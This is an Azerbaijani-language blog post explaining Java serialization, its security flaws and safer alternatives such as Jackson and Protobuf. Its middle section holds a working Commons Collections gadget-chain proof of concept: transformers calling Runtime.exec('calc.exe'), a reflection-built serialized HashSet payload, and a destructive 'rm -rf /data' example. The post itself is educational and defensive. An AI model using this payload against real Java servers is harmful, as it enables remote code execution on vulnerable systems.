Technology Apr 24, 2026 · 16 min read

Java Serialization: Gizli Təhlükə və Müasir Alternativlər

Müqəddimə Əsas mövzuya keçməzdən əvvəl serialization və deserialization anlayışlarını həm nəzəri, həm də praktiki nümunələrlə qısa şəkildə nəzərdən keçirəcəyik. Daha sonra Java-da serialization mexanizminin necə işlədiyini araşdıracaq, onun yaratdığı təhlükəsizlik və dizayn problemlərini...

DE
DEV Community
by hilalhilalli
Java Serialization: Gizli Təhlükə və Müasir Alternativlər

Müqəddimə

Əsas mövzuya keçməzdən əvvəl serializationdeserialization anlayışlarını həm nəzəri, həm də praktiki nümunələrlə qısa şəkildə nəzərdən keçirəcəyik. Daha sonra Java-da serialization mexanizminin necə işlədiyini araşdıracaq, onun yaratdığı təhlükəsizlik və dizayn problemlərini təhlil edəcəyik.

Sonda isə bu problemlərin qarşısını almaq üçün istifadə oluna biləcək daha təhlükəsiz və müasir alternativlərə toxunacağıq.

Mündəricat

  • Serialization və Deserialization nədir?
  • Java-da Serialization necə işləyir?
  • Serializable interface nədir və niyə lazımdır?
  • JVM niyə Serializable interface-ə ehtiyac duyur?
  • Java Serialization və Deserialization nümunələri
  • Java Serialization niyə təhlükəli sayılır?
  • Gadget Chain ilə bağlı təhlükəsizlik problemi
  • Constructor Bypass
  • Alternativlər (Best Practices)

Serialization və Deserialization nədir?

Serialization və deserialization proqramlaşdırmada məlumatların müxtəlif sistemlər arasında ötürülməsi və ya sonradan istifadə üçün saxlanması üçün istifadə olunan əsas mexanizmlərdən biridir.

Serialization — proqram daxilində mövcud olan bir obyektin saxlanıla və ya ötürülə bilən formata çevrilməsi prosesidir. Bu proses zamanı obyektin yaddaşdakı vəziyyəti (state) elə bir formaya salınır ki, o, faylda saxlanıla, verilənlər bazasına yazıla və ya şəbəkə vasitəsilə başqa bir sistemə göndərilə bilsin.

Bu çevrilmə nəticəsində obyekt adətən JSON, XML və ya binary format kimi strukturlardan birinə transformasiya olunur. Hansı formatın istifadə olunması sistemin tələblərindən, performans ehtiyaclarından və uyğunluq (compatibility) məsələlərindən asılıdır.

Deserialization isə bu prosesin əksidir — yəni saxlanılmış və ya ötürülmüş məlumatın yenidən orijinal obyekt formasına qaytarılmasıdır. Bu zaman JSON/XML/binary formatında olan məlumat yenidən proqram daxilində istifadə oluna bilən obyektə çevrilir.

Bu iki proses birlikdə məlumatların müxtəlif platformalar, proqramlar və sistemlər arasında təhlükəsiz və strukturlaşdırılmış şəkildə paylaşılmasını təmin edir.

Məsələn, Spring ekosistemində geniş istifadə olunan Jackson kitabxanası obyektləri JSON formatına serializasiya edir və əksinə, JSON məlumatlarını Java obyektlərinə deserializasiya edir. Oxşar şəkildə Gson JSON üçün, JAXB isə XML üçün istifadə olunan məşhur kitabxanalardandır. Qeyd etmək lazımdır ki, Jackson yalnız JSON ilə məhdudlaşmır və əlavə modullar vasitəsilə digər formatlarla işləmə imkanları da təqdim edir.

Bu ümumi izahdan sonra Java-nın daxili serialization və deserialization mexanizminə keçmək məqsədəuyğundur, çünki bu yanaşmada müəyyən təhlükəsizlik və dizayn problemləri meydana çıxır.

Java-da Serialization necə işləyir?

Java-da serialization və deserialization prosesləri java.io paketində yerləşən xüsusi siniflər vasitəsilə həyata keçirilir. Bu məqsədlə əsasən ObjectOutputStreamObjectInputStream siniflərindən istifadə olunur.

ObjectOutputStream sinfi obyektləri serialization edərək onları byte stream formatına çevirir və bu məlumatı fayla və ya hər hansı bir output stream-ə yazır. Bu proses zamanı obyektin yaddaşdakı vəziyyəti (state) byte stream-ə transformasiya olunur.

ObjectInputStream sinfi həmin byte stream məlumatını oxuyur və onu yenidən Java obyektinə çevirir. Bu proses deserialization adlanır və nəticədə orijinal obyekt strukturu yenidən bərpa olunur.

Qeyd: Java-da bir obyektin serialization oluna bilməsi üçün həmin sinif mütləq Serializable interfeysini implement etməlidir.

Serializable interface nədir və niyə lazımdır?

Serialization prosesində istifadə olunan Serializable interface-i marker interface adlanır. Bu interface-in içində heç bir metod yoxdur və onun əsas məqsədi JVM-ə bir obyektin serialize oluna biləcəyini bildirməkdir. Yəni bir obyektin serialization prosesinə daxil olması üçün həmin class mütləq Serializable interface-ni implement etməlidir.

JVM niyə Serializable interface-ə ehtiyac duyur?

JVM-in Serializable interface-ə ehtiyacı var, çünki serialization zamanı hansı obyektlərin binary formatına çevrilə biləcəyini nəzarətli şəkildə müəyyən etməlidir. Əgər bu interface olmasaydı, JVM nəzəri olaraq bütün obyektləri serialize etməyə çalışardı və bu ciddi problemlərə səbəb ola bilərdi.

Məsələn, belə bir class düşünək:

class DatabaseConnection {
    String url;
    Connection connection; // real database connection
}

Bu tip obyektlər serialize olunmamalıdır, çünki:

  • Connection real sistem resursudur
  • runtime mühitinə bağlıdır
  • başqa sistemdə bərpa edilə bilməz

Əgər JVM hər şeyi avtomatik serialize etsəydi, bu cür obyektlər də binary formatına çevrilər və sistemdə xəta və təhlükəsizlik problemləri yarana bilərdi.

Serializable interface burada "filter" rolunu oynayır:

  • yalnız Serializable implement edən class-lar serialize oluna bilər
  • JVM hansı obyektlərin icazəli olduğunu açıq şəkildə ayırd edir
  • Connection, Thread, Socket kimi runtime resursları avtomatik olaraq kənarda qalır

Java Serialization və Deserialization nümunələri

Serialization

User adlı sinifimiz var. Bu sinifdə namesurname field-ları var və Serializable interface-ni implement edir:

public class User implements Serializable {
    private String name;
    private String surname;    

    public User(String name, String surname) {
        this.name = name;
        this.surname = surname;
    }
}

Onu serialize etmək üçün obyektinə ehtiyacımız var, çünki burada serialize edilən sinif deyil, həmin sinfin obyektidir:

User user = new User("Hilal", "Hilalli");

try (var oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
    oos.writeObject(user);
}

Burada user.ser layihənin root directory-sinə düşəcək. Fayl extension-ının xüsusi bir əhəmiyyəti yoxdur — user.abc də yazsanız problem olmayacaq, çünki əsas olan onun binary contentidir.

Qeyd: Java-da serialize edilən obyektin yalnız field-ları (instance variables) saxlanılır; metodlar və constructor-lar serialization prosesinə daxil edilmir.

Deserialization

try (var ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
    User user = (User) ois.readObject();
}

Beləliklə, binary formatdakı user.ser faylını yenidən Java obyektinə çevirdik.

Java Serialization niyə təhlükəli sayılır?

Bu bölmədə ən kritik iki problemi nəzərdən keçirəcəyik.

Gadget Chain ilə bağlı təhlükəsizlik problemi

Java-da ObjectInputStream.readObject() metodu deserialization zamanı obyektləri bərpa edərkən müəyyən metod çağırışlarına səbəb olur. Əgər classpath-də gadget chain hücumuna açıq versiyada kitabxanalar varsa (məsələn, Apache Commons Collections-ın 3.2.2-dən əvvəlki versiyaları), hücumçu xüsusi hazırlanmış payload göndərərək ixtiyari əmrlərin icrasına hədəf sistemdə nail ola bilər.

Bu anlayışı daha yaxşı başa düşmək üçün əvvəlcə terminləri aydınlaşdıraq:

  • Gadget — sənin yazmadığın, amma classpath-də mövcud olan kitabxana class-larıdır. Hər biri təkbaşına zərərsiz görünür.
  • Chain — bu class-ların elə bir ardıcıllıqla birləşdirilməsidir ki, nəticədə zərərli əməliyyat icra olunur.

Transformer nədir?

Transformer sadə dillə desək, bir input qəbul edir və onu başqa bir nəticəyə çevirir — bu məntiq Java-dakı Function interface-inə bənzəyir:

public interface Transformer {
    Object transform(Object input);
}
// Bu transformer hər hansı input alır və onun uzunluğunu qaytarır
Transformer myTransformer = new Transformer() {
    @Override
    public Object transform(Object input) {
        String s = (String) input;
        return s.length();
    }
};

System.out.println(myTransformer.transform("salam")); // → 5
System.out.println(myTransformer.transform("java"));  // → 4

Apache Commons-dakı hazır transformer-lər:

// ConstantTransformer — nə qəbul edirsə etsin, həmişə eyni nəticəni qaytarır
Transformer t1 = new ConstantTransformer("Hello world");
t1.transform("salam");   // → "Hello world"
t1.transform(12345);     // → "Hello world"
t1.transform(null);      // → "Hello world"

// InvokerTransformer — verilən obyekt üzərində göstərilən metodu çağırır
Transformer t2 = new InvokerTransformer("toUpperCase", null, null);
t2.transform("hello");  // → "HELLO"

LazyMap nə edir?

LazyMap normal Map-dan fərqli olaraq "lazy evaluation" prinsipi ilə işləyir. Yəni get() çağırışı zamanı əgər həmin key mövcud deyilsə, əvvəlcədən verilmiş Transformer-i işə salır:

// Normal HashMap
Map normal = new HashMap();
normal.put("name", "Hilal");
normal.get("name");     // → "Hilal"
normal.get("surname");  // → null

// LazyMap — get() çağırılanda əgər key yoxdursa transformer işlədir
Map lazy = LazyMap.decorate(new HashMap(), myTransformer);
lazy.put("name", "Hilal");
lazy.get("name");    // → "Hilal"  (var, normal qaytarır)
lazy.get("hello");   // → 5        (yox idi, transformer.transform("hello") çağırdı!)
lazy.get("java");    // → 4        (yox idi, transformer.transform("java") çağırdı!)

TiedMapEntry necə işləyir?

TiedMapEntry dəyəri birbaşa saxlamır — onu bağlı olduğu Map-dan götürür:

TiedMapEntry entry = new TiedMapEntry(lazyMap, "hello");

entry.getValue();
// → lazyMap.get("hello")
//   → transformer.transform("hello")
//     → 5

entry.hashCode();
// → entry.getValue()
//   → lazyMap.get("hello")
//     → transformer.transform("hello")

Hər şeyi bir yerə yığaq

// 1. Transformer: "hello" → 5 qaytarır
Transformer myTransformer = input -> ((String) input).length();

// 2. LazyMap: get() çağırılanda transformer işlədir
Map lazyMap = LazyMap.decorate(new HashMap(), myTransformer);

// 3. TiedMapEntry: hashCode() → getValue() → lazyMap.get() → transformer
TiedMapEntry entry = new TiedMapEntry(lazyMap, "hello");

entry.hashCode();
//  → entry.getValue()
//      → lazyMap.get("hello")
//          → myTransformer.transform("hello")
//              → 5

Yəni entry.hashCode() çağırılanda zəncir avtomatik işə düşür. Transformer burada sadəcə uzunluq hesablayır, amma eyni mexanizmlə istənilən əmri icra etmək mümkündür.

Real Gadget Chain

Runtime Java-da proqramın işlədiyi əməliyyat sisteminə çıxış verən class-dır. exec() metodu isə həmin sistem üzərində xarici əmr icra etməyə imkan verir:

Runtime.getRuntime().exec("notepad.exe"); // Notepad açır
Runtime.getRuntime().exec("ls");          // Linux-da qovluq siyahısını göstərir
Runtime.getRuntime().exec("rm -rf /data"); // Linux-da qovluq silir

İndi length() əvəzinə Runtime.exec() çağıran transformer zənciri:

Transformer[] steps = new Transformer[] {
    // Addım 1: Runtime.class-ı növbəti transformer-ə ötür
    new ConstantTransformer(Runtime.class),

    // Addım 2: Runtime.class üzərindən "getRuntime" metodunu tap
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
    ),

    // Addım 3: tapılmış metodu çağır, Runtime instance-ı al
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
    ),

    // Addım 4: alınan Runtime instance üzərində exec() çağır
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc.exe"}
    )
};

ChainedTransformer chain = new ChainedTransformer(steps);
// Bu zəncir faktiki olaraq bunu edir: Runtime.getRuntime().exec("calc.exe");

calc.exe — Windows sistemlərində sadə Kalkulyator proqramıdır. Exploit nümunələrində "proof of concept" kimi istifadə olunur. Real hücumlarda isə bunun yerinə zərərli əmrlər icra olunur.

Payload necə düzgün yaradılır?

// Əvvəlcə zərərsiz transformer ilə obyekt qur
Transformer fakeTransformer = new ConstantTransformer("fake");
Map lazyMap = LazyMap.decorate(new HashMap(), fakeTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
HashSet set = new HashSet();
set.add(entry); // ← indi zərərsiz chain işləyir, heç nə olmur

// Sonra reflection ilə əsl chain-i daxil et
Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, chain);

// Serialize et
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(set);
byte[] payload = bos.toByteArray(); // ← serverə göndəriləcək payload

Server tərəfində deserialization necə baş verir?

ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // ← təhlükəli nöqtə

// deserialization zamanı aşağıdakı zəncir avtomatik işə düşür:
//  → HashSet.readObject()
//    → hər element üçün hashCode() çağırır
//      → TiedMapEntry.hashCode()
//        → TiedMapEntry.getValue()
//          → lazyMap.get("key")
//            → chain işləyir
//              → Runtime.exec("calc.exe")

Qarşısını necə almaq olar?

1. ObjectInputFilter

Java 9 ilə gələn ObjectInputFilter deserialize ediləcək class-ları məhdudlaşdırmağa imkan verir:

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filterInfo -> {
    Class<?> cls = filterInfo.serialClass();
    if (cls == null) return ObjectInputFilter.Status.UNDECIDED;
    if (cls == MyExpectedClass.class) return ObjectInputFilter.Status.ALLOWED;
    return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();

2. Java serialization-dan tamamilə imtina et

Ən etibarlı həll Java serialization-ı tamamilə tərk etməkdir. ObjectInputStream.readObject() Java-nın öz mexanizmidir və onun daxili davranışını tam nəzarət altına almaq çətindir. Filter əlavə etmək, classpath-i təmizləmək — bunların hamısı əslində problemi həll etmir, sadəcə riskini azaldır.

Constructor Bypass

Java serialization-da digər ciddi problemlərdən biri deserialization zamanı obyekt yaradılarkən constructor-un işləməməsidir.

public class BankAccount implements Serializable {
    private double balance;

    public BankAccount(double balance) {
        if (balance < 0) {
            throw new IllegalArgumentException("Balance cannot be negative!");
        }
        this.balance = balance;
    }
}

new BankAccount(-999) yazaraq obyekt yaratmaq istəsək, exception atılacaq. Amma deserialization zamanı vəziyyət fərqlidir — hücumçu serialized obyektin byte-larını dəyişərək balance = -999 edə bilər:

  • constructor ümumiyyətlə çağırılmır
  • validasiya işləmir
  • nəticədə sistemdə qaydalara zidd, amma keçərli obyekt yaranır

Bunun səbəbi nədir?

Deserialization zamanı JVM obyekt yaratmaq üçün daxildə aşağı səviyyəli mexanizmdən istifadə edir — obyekti birbaşa yaddaşda yaradır, heç bir constructoru işə salmır. Bu yanaşma vaxtilə "Obyekt artıq mövcuddur, sadəcə onu bərpa edirik" kimi əsaslandırılmışdı. Lakin bu qərar sonradan ciddi təhlükəsizlik boşluğu kimi ortaya çıxdı.

Qismən həll yolu:

private void readObject(ObjectInputStream in) throws Exception {
    in.defaultReadObject();
    if (balance < 0)
        throw new InvalidObjectException("Balans mənfi ola bilməz!");
}

Amma bu yanaşma hər dəfə manual yazılmalıdır, unudula bilər və bütün riskləri tam aradan qaldırmır.

Alternativlər (Best Practices)

Java serialization-ın yaratdığı təhlükəsizlik risklərinə qarşı ən etibarlı yanaşma onu tamamilə tərk etməkdir.

Jackson (JSON)

Jackson Java dünyasında ən geniş istifadə olunan JSON kitabxanasıdır. Spring Boot layihələrində əlavə konfiqurasiya olmadan işləyir — yəni out-of-the-box dəstəklənir.

Dependency (Gradle):

implementation 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
public class User {
    private String name;
    private String surname;

    public User(String name, String surname) {
        this.name = name;
        this.surname = surname;
    }

    // Jackson üçün getter-lər mütləqdir
    public String getName() { return name; }
    public String getSurname() { return surname; }
}
ObjectMapper mapper = new ObjectMapper();

// Serialization: obyekt → JSON
User user = new User("Hilal", "Hilalli");
String json = mapper.writeValueAsString(user);
// → {"name":"Hilal","surname":"Hilalli"}

// Deserialization: JSON → obyekt
User result = mapper.readValue(json, User.class);

Java serialization-dan fərqli olaraq Jackson daha təhlükəsiz hesab olunur. Bununla belə, yanlış konfiqurasiya hallarında (məsələn, polymorphic deserialization istifadə edilərkən) müəyyən risklər yarana bilər.

Protocol Buffers (Protobuf)

Protocol Buffers (Protobuf) Google tərəfindən hazırlanmış binary serialization formatıdır. Jackson-dan əsas fərqi schema-based işləməsidir — məlumatın strukturu əvvəlcədən .proto faylında müəyyən edilir.

Dependency (Gradle):

implementation 'com.google.protobuf:protobuf-java:4.29.3'

Schema (.proto faylı):

syntax = "proto3";

message User {
    string name    = 1;
    string surname = 2;
    int32  age     = 3;
    bool   isActive = 4;
    double balance  = 5;
    repeated string roles = 6;
}

Field tag-lar (1, 2, 3...) Protobuf-un binary formatda məlumatı necə oxuyub-yazacağını müəyyən edən unikal identifikatorlardır. Bu nömrələr dəyişdirilməməlidir — dəyişərsə köhnə binary məlumatlar düzgün oxunmaya bilər.

// Serialization: obyekt → binary
User user = User.newBuilder()
    .setName("Hilal")
    .setSurname("Hilalli")
    .setAge(25)
    .setIsActive(true)
    .setBalance(1500.75)
    .addRoles("admin")
    .addRoles("user")
    .build();

byte[] bytes = user.toByteArray();

// Deserialization: binary → obyekt
User result = User.parseFrom(bytes);

Protobuf-un üstünlükləri:

  • JSON-a nisbətən daha kompakt və performanslı
  • Yalnız schema-da müəyyən edilmiş field-ları işləyir
  • Generate olunan class-lar immutable-dır

Protobuf-un çətinlikləri:

  • Binary format olduğu üçün birbaşa oxunmur — debug çətinləşir
  • .proto faylından class generate etmək build prosesinə overhead əlavə edir

XML (eXtensible Markup Language)

XML əsasən legacy sistemlərdə hələ də geniş istifadə olunan text-based məlumat formatıdır. Xüsusilə köhnə enterprise layihələrində, bank və sığorta kimi sahələrdə XML əsaslı inteqrasiyalara tez-tez rast gəlinir.

Lakin yeni layihələr üçün XML ümumiyyətlə tövsiyə edilmir:

  • JSON-a nisbətən daha verbose formatdır
  • Parsing prosesi ağırdır
  • Performans baxımından JSON və Protobuf-a nisbətən geri qalır

Əgər legacy sistemlərlə inteqrasiya məcburiyyəti varsa, Jackson XML modulu və ya JAXB kitabxanalarından istifadə oluna bilər.

Yekun

Java serialization tarixən geniş istifadə olunmuş mexanizmdir, lakin zamanla ciddi təhlükəsizlik riskləri yaratdığı məlum olmuşdur. Xüsusilə 2015-ci ildə Apache Commons Collections kitabxanası ilə bağlı aşkar edilən deserialization zəiflikləri bu problemin miqyasını açıq şəkildə göstərdi. Bu zəifliklər vasitəsilə hücumçular xüsusi hazırlanmış obyektlər göndərərək uzaqdan kod icrası (Remote Code Execution) əldə edə bilirdilər — Oracle WebLogic, JBoss, Jenkins kimi geniş istifadə olunan sistemlər bundan təsirləndi.

Oracle-ın Java baş memarı Mark Reinhold serialization-ı 1997-ci ildə edilmiş "dəhşətli bir səhv" kimi qiymətləndirmişdir. Effective Java kitabının müəllifi Josh Bloch isə daha praktik bir mövqe tutaraq yeni sistemlərdə Java serialization-dan istifadə etməyə heç bir əsas olmadığını vurğulamışdır.

Oracle bu problemi tam aradan qaldırmaq əvəzinə məhdudlaşdırma yanaşmasını seçmişdir. Java 9-dan etibarən təqdim olunan ObjectInputFilter kimi mexanizmlər deserialization prosesini nəzarət altına almağa yönəlib.

Nəticə olaraq, Java serialization bu gün legacy sistemlərdə hələ də mövcud olsa da, yeni sistemlərdə onun istifadəsi ciddi şəkildə məhdudlaşdırılır və mümkün olduqda JSON (Jackson, Gson) və ya Protocol Buffers kimi daha təhlükəsiz alternativlər üstün tutulur.

DE
Source

This article was originally published by DEV Community and written by hilalhilalli.

Read original article on DEV Community
Back to Discover

Reading List